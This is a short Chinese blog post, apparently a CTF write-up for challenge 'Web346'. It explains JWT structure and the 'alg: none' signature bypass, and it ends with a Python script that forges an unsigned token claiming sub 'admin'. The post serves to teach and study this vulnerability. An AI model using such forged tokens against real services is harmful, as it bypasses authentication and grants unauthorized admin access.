Web346(None算法绕过签名)

某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的

标准中注册的声明 (建议但不强制使用)
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

signature

是一个签证信息,这个签证信息由三部分组成

header (base64后的)
payload (base64后的)
secret
注意:secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发和JWT的验证     

分段base64

 

 

 

去掉后面的签名仍然可以正常解析

这里使用了HS256加密方式,方法:alg字段改为none,sub改为admin,对每一段分别用base64进行加密,然后用.拼接起来,注意最后一个点不能少。 这里可以直接使用jwt工具改,也可以用插件来修改,但是官网修改不了

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可

将 Header 中的加密算法改为 none

 

import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1747640455,"exp":1747647655,"nbf":1747640455,"sub":"admin",' \
'"jti":"5325840bdf145e3b21def7fc0a309f44"} '

print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

 

posted @ 2025-05-19 15:44  justdoIT*  阅读(98)  评论(0)    收藏  举报